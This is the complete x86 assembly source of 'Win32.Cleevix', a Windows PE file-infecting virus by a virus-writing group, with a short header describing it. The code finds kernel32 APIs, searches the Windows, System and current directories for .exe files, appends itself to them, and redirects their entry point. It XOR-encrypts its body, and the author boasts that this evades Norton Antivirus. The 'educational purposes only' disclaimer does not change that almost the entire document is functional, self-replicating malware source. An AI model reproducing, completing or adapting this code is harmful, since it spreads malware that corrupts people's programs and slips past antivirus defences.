|| Author: lclee_vx/F13-Labs || Back to sources || View project folder ||
;-------------------------------------------------------------------------------
;Win32.Cleevix (c)opyright 2005 by lclee_vx
;
;Win32.Cleevix is a PE infector on Windows 9x/2K/XP with simple encryption, anyhow, 
;its not detect by Norton Antivirus. :)!!
;
;
;
;Description
;-----------
;When a file infected by Win32.Cleevix is executed, the virus start the process
;as below:
;
;1) Retrieve the base address of Kernel32.dll
;2) Scans the Export Table of Kernel32.dll for the API Functions 
;3) Retrieve API functions by scanning others *.dll file. For example, retrieve 
;   MessageBox function from User32.dll file.
;4) Scan the Current, Windows and System directory, infect all the *exe files. 
;   Infected files will grow by about 2.99 Kilobyte  
;5) The virus do not try to harm/damage the system, its just patch itself to the
;   PE files. Anyhow, it might bring down the system as the scanning process running.
;6) The virus apply the simple encryption, its not detected by Norton Antivirus (tested)
;
;
;That is about all folks. The code is heavily commented, so, it should be easy
;enough to follow. 
;
;                                    Disclaimer
;                                    ----------
;THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD 
;RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE THE
;SAME
;
;
;Author		:  	lclee_vx
;Group		:  	F-13 Labs
;Web			: 	http://f13.host.sk
;Email		: 	lclee_vx@yahoo.com
;Credit		:     Lord Julus, Lethalmind
;----------------------------------------------------------------------------------

.386p
.model flat, stdcall
option casemap:none
jumps


.data
;------------------------------------------------------------------------------
;Start The Code
;------------------------------------------------------------------------------
.code

VirusStart:
	call	delta
delta:
	pop		ebp
	mov		eax, ebp
	sub		ebp, offset delta
	
	sub		eax, RedundantSize
	sub		eax, 1000h
NewEip equ $-4
	mov		dword ptr [ebp+AppBase], eax	
	
	mov		esi, [esp]
	and		esi, 0FFFF0000h
	
	pushad
	call		Crypt
	popad

CryptStart:	
	call		GetK32	
	mov		dword ptr [ebp+offset aKernel32], eax	;save kernel32.dll
	
;-------------------------------------------------------------------------------
;here we looking for APIs function
;-------------------------------------------------------------------------------
	lea		edi, [ebp+offset @@Offsetz]
	lea		esi, [ebp+offset @@Namez]
	call		GetApis
	call		SpecialApi
	call		DirScan
CryptEnd:

	cmp		ebp, 0
	je		FirstGeneration
	
ReturnHost:
	mov		eax, 12345678h
	org		$-4
OldEip	dd		00001000h
	
	mov		eax, dword ptr [ebp+offset OldEip]
	jmp		eax
	ret

;-------------------------------------------------------------------------------
;1) Changing to Windows directory, System directory and current directory
;2) remember size buffer have to set > Max_Path (260)
;-------------------------------------------------------------------------------
DirScan:
	
	push		128h									;have to set Buffer size > 260
	lea		eax, [ebp+offset WindowsDir]					;retrieve the path of Windows
												;Directory
	push		eax
	mov		eax, dword ptr [ebp+offset aGetWindowsDirectoryA]
	call		eax
				
	push		128h									;buffer size > 260
	lea		eax, [ebp+offset SystemDir]					;retrieve the path of System 
	push		eax									;directory
	mov		eax, [ebp+offset aGetSystemDirectoryA]
	call		eax
				
	lea		eax, [ebp+offset CurrentDir]					;retrieve the path of Current
	push		eax									;directory
	push		128h									;buffer size > 260
	mov		eax, [ebp+offset aGetCurrentDirectoryA]
	call		eax
		
	lea		eax, [ebp+offset WindowsDir]
	push		eax
	mov		eax, [ebp+offset aSetCurrentDirectoryA]
	call		eax
	mov		dword ptr [ebp+offset Counter], 3
	call		SearchFiles								;start searching the target files
	
	lea		eax, [ebp+offset SystemDir]
	push		eax
	mov		eax, [ebp+offset aSetCurrentDirectoryA]
	call		eax
	mov		dword ptr [ebp+offset Counter], 3
	call		SearchFiles
	
	lea		eax, [ebp+offset CurrentDir]
	push		eax
	mov		eax, [ebp+offset aSetCurrentDirectoryA]
	call		eax
	mov		dword ptr [ebp+offset Counter], 3
	call		SearchFiles
	
	ret

;-------------------------------------------------------------------------------
;1) Search the target files (*.exe)
;2) Trying Infect 3 files
;-------------------------------------------------------------------------------
SearchFiles:
	push		ebp								;save ebp
	lea		eax, dword ptr [ebp+offset Win32FindData]		;load the Win32_Find_Data structure
	push		eax
	lea		eax, [ebp+offset Mark]					;search *.exe
	push		eax
	mov		eax, [ebp+offset aFindFirstFileA]			;start searching 
	call		eax
	pop		ebp
	
	inc		eax								;check with eax=FFFFFFFF+1
	jz		SearchClose							;fail :(
	dec		eax								;get the original FileHandle
	mov		dword ptr [ebp+offset SearchHandle], eax		;save FileHandle
	
	mov		esi, offset Win32FindData.FileName			;esi=pointer to FileName
	add		esi, ebp
	mov		dword ptr [ebp+offset FilePointer], esi		;save the Pointer to FileName
	
	cmp		[Win32FindData.FileSizeHigh+ebp], 0			;high 32 bits of FileSize
	jne		SearchNext							;way too big for us 
	
	mov		ecx, [Win32FindData.FileSizeLow+ebp]		;ecx=File Size
	mov		dword ptr [ebp+offset NewFileSize], ecx		;NewFileSize will change in InfectFiles 
	mov		dword ptr [ebp+offset OriFileSize], ecx 		;routine
	push		dword ptr [ebp+offset OldEip]
	call		InfectFiles			
	pop		dword ptr [ebp+offset OldEip]
	
	dec		dword ptr [ebp+offset Counter]			;Counter - 1
	cmp		dword ptr [ebp+offset Counter], 0
	je		SearchHandleClose
	
SearchNext:
	push		ebp
	mov		eax, dword ptr [ebp+offset Win32FindData]
	push		eax
	mov		eax, dword ptr [ebp+offset SearchHandle]		;eax=Search Handle
	push		eax
	mov		eax, [ebp+offset aFindNextFileA]
	call		eax
	pop		ebp
	
	cmp		eax, 0							;error?
	je		SearchHandleClose						;done
	
	mov		esi, offset Win32FindData.FileName
	add		esi, ebp
	mov		dword ptr [ebp+offset FilePointer], esi		;esi=File Pointer
	
	cmp		[Win32FindData.FileSizeHigh+ebp], 0
	jne		SearchNext
	
	mov		ecx, [Win32FindData.FileSizeLow+ebp]		;ecx=File Size
	mov		dword ptr [ebp+offset NewFileSize], ecx	 	;save it
	mov		dword ptr [ebp+offset OriFileSize], ecx
	push		dword ptr [ebp+offset OldEip]
	call		InfectFiles
	pop		dword ptr [ebp+offset OldEip]
	
	dec		dword ptr [ebp+offset Counter]			;Counter - 1
	cmp		dword ptr [ebp+offset Counter], 0
	jne		SearchNext

SearchHandleClose:
	push		dword ptr [ebp+offset SearchHandle]
	mov		eax, [ebp+offset aFindClose]
	call		eax	
	cmp		eax, 0
	je		SearchClose

SearchClose:
	ret
	
;----------------------------------------------------------------------------------
;Here start to set the file attributes, mapping files and infect the files
;(1) save the original FileSize, FileAttribute
;(2) Open the file with API CreateFileA. if error, 
;----------------------------------------------------------------------------------
InfectFiles:	
	pushad									;save all the register before
											;start infect
															
	mov		dword ptr [ebp+offset InfectFlag], 0														
	mov		ecx, dword ptr [ebp+offset NewFileSize]
	cmp		ecx, MinimumFileSize					;minimum FileSize=400h
	jb		JumpOut
	
	add		ecx, total_size
	mov		dword ptr [ebp+offset NewFileSize], ecx
	
	push		ebp
	push		dword ptr [ebp+offset FilePointer]
	mov		eax, [ebp+offset aGetFileAttributesA]
	call		eax
	pop		ebp
	mov		dword ptr [ebp+offset FileAttribute], eax		;save the original file attribute
	
	push		ebp
	push		00000080h							;set file attribute = any
	push		dword ptr [ebp+offset FilePointer]
	mov		eax, [ebp+offset aSetFileAttributesA]
	call		eax
	pop 		ebp
	
	cmp		eax, 0							;error?
	jz		ErrorOpenExe
	
	push		ebp
	push		0h
	push		00000080h
	push		00000003h
	push		0h
	push		00000001h
	push		80000000h or 40000000h
	push		dword ptr [ebp+offset FilePointer]
	mov		eax, [ebp+offset aCreateFileA]
	call		eax
	pop		ebp
	
	inc		eax								;if error, eax=0FFFFFFFFh. eax = eax+1
	cmp		eax, 0							;error?
	jz		ErrorOpenExe
	dec		eax
	mov		dword ptr [ebp+offset FileHandle], eax		;save the FileHandle
	
	push		ebp
	push		dword ptr [ebp+offset NewFileSize]
	push		0h
	mov		eax, [ebp+offset aGlobalAlloc]
	call		eax
	pop		ebp
	
	cmp		eax, 0h
	jz		ErrorBuffer							;error?
	mov		dword ptr [ebp+offset MemoryHandle], eax		;save
	
	push		ebp
	lea		eax, [ebp+offset ByteRead]
	push		0h
	push		eax
	push		dword ptr [ebp+offset OriFileSize]
	push		dword ptr [ebp+offset MemoryHandle]
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aReadFile]
	call		eax
	pop		ebp
	
	cmp		eax, 0h							;error?
	jz		ErrorReadExe
	
	push		ebp
	push		0h
	push		0h
	push		0h
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aSetFilePointer]
	call		eax
	pop		ebp
	
	inc		eax								;if fail, eax=0FFFFFFFFh. eax = eax+1
	cmp		eax, 0h
	jz		ErrorReadExe
	
	mov		ebx, dword ptr [ebp+offset MemoryHandle]
	mov		esi, dword ptr [ebp+offset MemoryHandle]
	cmp		word ptr [esi], "ZM"
	jnz		ErrorReadExe
	
	xor		eax, eax							;eax = 0
	mov		eax, dword ptr [esi+3ch]				;eax = offset PE Header
	add		esi, eax							;esi = point to PE Header
	cmp		dword ptr [esi], "EP"					;PE file ?
	jz		StartInfect
	mov		dword ptr [ebp+offset InfectFlag], 0FFh
	jmp		ErrorReadExe
	
StartInfect:
	mov		dword ptr [ebp+offset PEHeader], esi
	cmp		dword ptr [esi+4ch], "31"				;infected?
	jz		InfectError
	mov		dword ptr [esi+4ch], "31"				;put the infected symbol
	
	mov		ebx, [esi+74h]						;ebx=NumberOfRvaAndSizes
	shl		ebx, 3							;ebx=ebx*8
	xor		eax, eax							;eax=0
	mov		ax, word ptr [esi+06h]					;ax = Number of Sections
	dec		eax								;eax=eax-1
	mov		ecx, 28h
	mul		ecx								;eax=eax*ecx
	add		eax, ebx
	add		esi, 78h
	add		esi, eax							;now esi point to Last Section
	
	mov		edi, dword ptr [ebp+offset PEHeader]		;edi=PE Header
	mov		eax, [esi+0ch]						;eax= VirtualAddress
	add		eax, dword ptr [esi+10h]				;eax = VirtualAddress+SizeOfRawData
	mov		dword ptr [ebp+offset NewEip], eax
	xchg		eax, [edi+28h]						;eax = Original AddressOfEntryPoint
	add		eax, [edi+34h]						;eax= Original AddressOfEntryPoint+ImageBase
	mov		dword ptr [ebp+offset OldEip], eax			;save as OldEip
	
	mov		ecx, total_size
	add		[esi+08h], ecx						;New VirtualSize= Original VirtualSize+VirusSize
	mov		eax, [esi+08h]						;eax = New VirtualSize
	add		eax, [esi+0ch]						;eax = New VirtualSize+VirtualAddress
	mov		[edi+50h], eax						;eax=SizeOfImage
	
	mov		eax, [esi+10h]						;eax=SizeOfRawData
	add		[esi+10h], ecx						;New SizeOfRawData= Old SizeOfRawData+VirusSize
	or		dword ptr [esi+24h], 0A0000020h
	mov		edi, [esi+14h]
	mov		ebx, dword ptr [ebp+offset MemoryHandle]
	add		edi, ebx
	add		edi, eax

	mov		esi, offset VirusStart
	add		esi, ebp
	
	pushad
	mov		byte ptr [ebp+offset CryptKey], 0ffh
	call		Crypt
	popad
	rep		movsb 
	
	call		Crypt
	lea		eax, [ebp+offset ByteRead]
	push		ebp
	push		0h
	push		eax
	push		dword ptr [ebp+offset NewFileSize]
	push		dword ptr [ebp+offset MemoryHandle]
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aWriteFile]
	call		eax
	pop		ebp
	
InfectError:
ErrorReadExe:
	push		ebp
	push		dword ptr [ebp+offset MemoryHandle]
	mov		eax, [ebp+offset aGlobalFree]
	call		eax
	pop		ebp

ErrorBuffer:
	push		ebp
	push		dword ptr [ebp+offset FileHandle]
	mov		eax, [ebp+offset aCloseHandle]
	call		eax
	pop		ebp

ErrorOpenExe:
	push		ebp
	push		dword ptr [ebp+offset FileAttribute]
	push		dword ptr [ebp+offset FilePointer]
	mov		eax, [ebp+offset aSetFileAttributesA]
	call		eax
	pop		ebp
	jmp		InfectCheck

InfectFail:
	stc
	jmp		JumpOut
InfectCheck:
	cmp		dword ptr [ebp+offset InfectFlag], 0FFh
	jz		InfectFail
	clc

JumpOut:
	popad
	ret
	

		
;----------------------------------------------------------------------------------
;Searching Kernel32.dll address
;----------------------------------------------------------------------------------
GetK32	PROC

ScanK32:
	cmp		word ptr [esi], "ZM"		
	je		K32Found
	sub		esi, 1000h
	jmp		ScanK32
	
K32Found:
	mov		eax, esi
	ret

GetK32 endp

;------------------------------------------------------------------------------------
;Searching The APIs function 
;edi=API offset
;esi=API name
;------------------------------------------------------------------------------------
GetApis	PROC
@@1:
	mov		eax, dword ptr [ebp+aKernel32]
	push		esi
	push		edi
	call		GetApi
	pop		edi
	pop		esi
									
	mov		[edi], eax						;store API address in eax ----> edi
	add		edi, 4							
	
@@3:
	inc		esi
	cmp		byte ptr [esi], 0
	jne		@@3
	inc		esi
	cmp		byte ptr [esi], 0FFh				;ended?
	jnz		@@1								
	ret										
GetApis endp

GetApi	PROC
	mov		ebx, [eax+3ch]					;ebx=offset PE header
	add		ebx, eax						;ebx=point to PE header
	mov		ebx, [ebx+78h]					;ebx=point to ExportDirectory Virtual Address
	add		ebx, eax						;normalize, ebx=point to ExportDirectory
	
	xor		edx, edx						;edx=0
	mov		ecx, [ebx+20h]					;ecx=point to AddressOfNames
	add		ecx, eax						;normalize
	push		esi							;save to stack
	push		edx							;save to stack

NextApi:
	pop		edx
	pop		esi
	inc		edx							;edx=the index into AddressOfOrdinals+1
	mov		edi, [ecx]						;edi=API function export by Kernel32.dll
	add		edi, eax						;normalize
	add		ecx, 4						;point to next API function
	push		esi							;save to stack
	push		edx

CompareApi:
	mov		dl, [edi]						;dl=API function export by Kernel32.dll
	mov		dh, [esi]						;dh=API function we looking for
	cmp		dl, dh						;match?
	jne		NextApi						;not match....ok...next API 
	inc		edi							;if match, compare next byte
	inc		esi								
	cmp		byte ptr [esi], 0					;finish?
	je		GetAddr						;jmp to get the address of API function
	jmp		CompareApi						

GetAddr:
	pop		edx
	pop		esi
	dec		edx							;edx-1 (because edx=index point to zero -finish)
	shl		edx, 1						;edx=edx*2
	
	mov		ecx, [ebx+24h]
	add		ecx, eax
	add		ecx, edx						;ecx=ordinals
	
	xor		edx,edx
	mov		dx, [ecx]
	shl		edx, 2						;edx=edx*4
	mov		ecx, [ebx+1ch]					;ecx=RVA AddressOfFunctions
	add		ecx, eax						;normalize
	add		ecx, edx						
	add		eax, [ecx]						;eax=address of API function we looking for 
	ret
	
GetApi	endp

;-----------------------------------------------------------------------------
;call special API MessageBoxA
;-----------------------------------------------------------------------------
SpecialApi	proc
	
	push		offset User32Dll
	mov		eax, dword ptr [ebp+offset aLoadLibraryA]
	call		eax
	
	
	mov		esi, offset sMessageBoxA
	push		esi
	push		eax
	mov		eax, dword ptr [ebp+offset aGetProcAddress]
	call		eax
	
	
	mov		dword ptr [ebp+offset aMessageBoxA], eax
		
	ret

SpecialApi endp


;------------------------------------------------------------------------------
;Encrypt/Decrypt Virus Data
;------------------------------------------------------------------------------
Crypt:
	mov		esi, offset CryptStart
	add		esi, ebp
	mov		ah, byte ptr [ebp+offset CryptKey]
	mov		ecx, CryptEnd-CryptStart

CryptLoop:
	xor		byte ptr [esi], ah
	inc		esi
	loop		CryptLoop
	ret
	
 
;-------------------------------------------------------------------------------
;Pop up message
;-------------------------------------------------------------------------------
FirstGeneration:			
	
	push		0
	push		offset szTopic
	push		offset szText
	push		0
	mov		eax, dword ptr [ebp+offset aMessageBoxA]
	call		eax
	
	push		0
	mov		eax, dword ptr [ebp+offset aExitProcess]
	call		eax


;-----------------------------------------------------------------------------
;APIs function needed.
;-----------------------------------------------------------------------------

sMessageBoxA			db	"MessageBoxA", 0
aMessageBoxA			dd	00000000h


@@Namez				label	byte
sGetProcAddress			db	"GetProcAddress", 0
sLoadLibraryA			db	"LoadLibraryA", 0
sExitProcess			db	"ExitProcess", 0
sGetWindowsDirectoryA		db	"GetWindowsDirectoryA", 0
sGetSystemDirectoryA		db	"GetSystemDirectoryA", 0
sGetCurrentDirectoryA		db	"GetCurrentDirectoryA", 0
sSetCurrentDirectoryA		db	"SetCurrentDirectoryA", 0
sFindFirstFileA			db	"FindFirstFileA", 0
sFindNextFileA			db	"FindNextFileA", 0
sFindClose				db	"FindClose", 0
sGlobalAlloc			db	"GlobalAlloc", 0
sGlobalFree				db	"GlobalFree", 0
sGetFileAttributesA		db	"GetFileAttributesA", 0
sSetFileAttributesA		db	"SetFileAttributesA", 0
sCreatFileA				db	"CreateFileA", 0
sReadFile				db	"ReadFile", 0
sWriteFile				db	"WriteFile", 0
sGetFileTime			db	"GetFileTime",0
sGetFileSize			db	"GetFileSize", 0
sCreateFileMapping		db	"CreateFileMapping", 0
sMapViewOfFile			db	"MapViewOfFile", 0
sUnmapViewOfFile			db	"UnmapViewOfFile", 0
sCloseHandle			db	"CloseHandle", 0
sSetFileTime			db	"SetFileTime", 0
sSetFilePointer			db	"SetFilePointer", 0
sSetEndOfFile			db	"SetEndOfFile", 0
					db	0FFh
										
@@Offsetz			label	byte
aGetProcAddress			dd	00000000h			
aLoadLibraryA			dd	00000000h
aExitProcess			dd	00000000h
aGetWindowsDirectoryA		dd	00000000h
aGetSystemDirectoryA		dd	00000000h
aGetCurrentDirectoryA		dd	00000000h
aSetCurrentDirectoryA		dd	00000000h
aFindFirstFileA			dd	00000000h
aFindNextFileA			dd	00000000h
aFindClose				dd	00000000h
aGlobalAlloc			dd	00000000h
aGlobalFree				dd	00000000h
aGetFileAttributesA		dd	00000000h
aSetFileAttributesA		dd	00000000h
aCreateFileA			dd	00000000h
aReadFile				dd	00000000h
aWriteFile				dd	00000000h
aGetFileTime			dd	00000000h
aGetFileSize			dd	00000000h
aCreateFileMapping		dd	00000000h
aMapViewOfFile			dd	00000000h
aUnmapViewOfFile			dd	00000000h
aCloseHandle			dd	00000000h
aSetFileTime			dd	00000000h
aSetFilePointer			dd	00000000h
aSetEndOfFile			dd	00000000h

;------------------------------------------------------------------------------
;Parameters
;------------------------------------------------------------------------------
aKernel32			dd	00000000h
Counter			dd	00000000h
SearchHandle		dd	00000000h
FileHandle			dd	00000000h
FilePointer			dd	00000000h
OriginalFileTime		dd	00000000h
MapSize			dd	00000000h
FileAttribute		dd	00000000h
MemoryHandle		dd	00000000h
MapAddress			dd	00000000h
OldRawSize			dd	00000000h
NewRawSize			dd	00000000h
NewFileSize			dd	00000000h
PEHeader			dd	00000000h
FileAlign			dd	00000000h
IncreaseRaw			dd	00000000h
InfectFlag			dd	00000000h
OriFileSize			dd	00000000h
AppBase			dd	00400000h
ByteRead			dd	?

User32Dll			db	"User32.dll", 0			;User32.dll
WindowsDir			db	128h dup (0)
SystemDir			db	128h dup (0)
CurrentDir			db	128h dup (0)
Mark				db	"*.exe", 0				;target file *.exe


RedundantSize		equ (offset delta - offset VirusStart)
total_size			equ	(offset VirusEnd - offset VirusStart)


szTopic			db	"F-13 Labs", 0
szText			db	"Author:lclee_vx", 0


max_path			equ	260
MinimumFileSize		equ	1024d

filetime		STRUC						;file time structure
			FT_dwLowDateTime	DD ?	
			FT_dwHighDateTime	DD ?
filetime		ENDS	


win32_find_data                 STRUC             
         FileAttributes          DD ?              			; attributes
         CreationTime            filetime ?        			; time of creation
         LastAccessTime          filetime ?        			; last access time
         LastWriteTime           filetime ?        			; last modificationm
         FileSizeHigh            DD ?              			; filesize
         FileSizeLow             DD ?              			; -"-
         Reserved0               DD ?              			;
         Reserved1               DD ?              			;
         FileName                DB max_path DUP (?) 			; long filename
         AlternateFileName       DB 13 DUP (?)     			; short filename
                                 DB 3 DUP (?)      			; dword padding
 win32_find_data                 ENDS              			;
                                                   			;
 Win32FindData    win32_find_data ?                			; our search area

CryptKey			db	?
	
VirusEnd:
ends

end	VirusStart